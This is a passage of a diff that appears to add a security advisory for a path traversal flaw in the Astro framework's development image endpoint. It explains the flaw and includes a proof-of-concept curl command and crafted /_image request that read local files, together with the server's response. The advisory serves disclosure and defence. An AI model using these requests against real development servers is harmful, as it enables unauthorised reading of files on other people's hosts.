+ "details": "### Summary\nA vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.\n\n### Details\n- **Title**: Arbitrary Local File Read in Astro Development Image Endpoint\n- **Type**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n- **Component**: `/packages/astro/src/assets/endpoint/node.ts`\n- **Affected Versions**: Astro v5.x development builds (confirmed v5.13.3)\n- **Attack Vector**: Network (HTTP GET request)\n- **Authentication Required**: None\n\nThe vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an `href` parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.\n\n**Vulnerable Code Location**: `packages/astro/src/assets/endpoint/node.ts`\n\n```typescript\n// Vulnerable code in development mode\nif (import.meta.env.DEV) {\n fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));\n} else {\n // Production has proper path validation\n // ... security checks omitted in dev mode\n}\n```\n\nThe development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.\n\n### PoC\n#### Attack Prerequisites\n1. Astro development server must be running (`astro dev`)\n2. The `/_image` endpoint must be accessible to the attacker\n3. Target image files must be readable by the Node.js process\n\n#### Exploit Steps\n\n1. Start Astro Development Server:\n ```bash\n astro dev # Typically runs on http://localhost:4321\n ```\n\n2. Craft Malicious Request:\n ```http\n GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1\n Host: localhost:4321\n ```\n\n3. Example Attack:\n ```bash\n curl \"http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png\" -o stolen.png\n ```\n\n#### Demonstration Results\n\n**Test Environment**: macOS with Astro v5.13.3\n\n**Successful Exploitation**:\n- Target: `/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg`\n- Response: HTTP 200 OK, Content-Type: image/png\n- Exfiltration: 303 bytes (100x100 PNG)\n- File Created: `stolen-image.png` containing processed system image\n\n**Attack Payload**:\n```\nhttp://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png\n```\n\n**Server Response**:\n```\nStatus: 200 OK\nContent-Type: image/png\nContent-Length: 303\n```\n\n### Impact\n\n#### Confidentiality Impact: HIGH\n- **Scope**: Any image file readable by the Node.js process\n- **Exfiltration Method**: Complete file contents via HTTP response (transformed to PNG)\n\n#### Integrity Impact: NONE\n- The vulnerability only allows reading files, not modification\n\n#### Availability Impact: NONE \n- No direct impact on system availability\n- Potential for resource exhaustion through repeated large image requests\n\n### Affected Components\n\n#### Primary Component\n- **File**: `packages/astro/src/assets/endpoint/node.ts`\n- **Function**: `loadLocalImage()`\n- **Lines**: Development mode branch (~25-35)\n\n#### Secondary Components \n- **File**: `packages/astro/src/assets/endpoint/generic.ts`\n- **Impact**: Uses different code path, not directly vulnerable\n- **Note**: Implements proper remote allowlist validation",
0 commit comments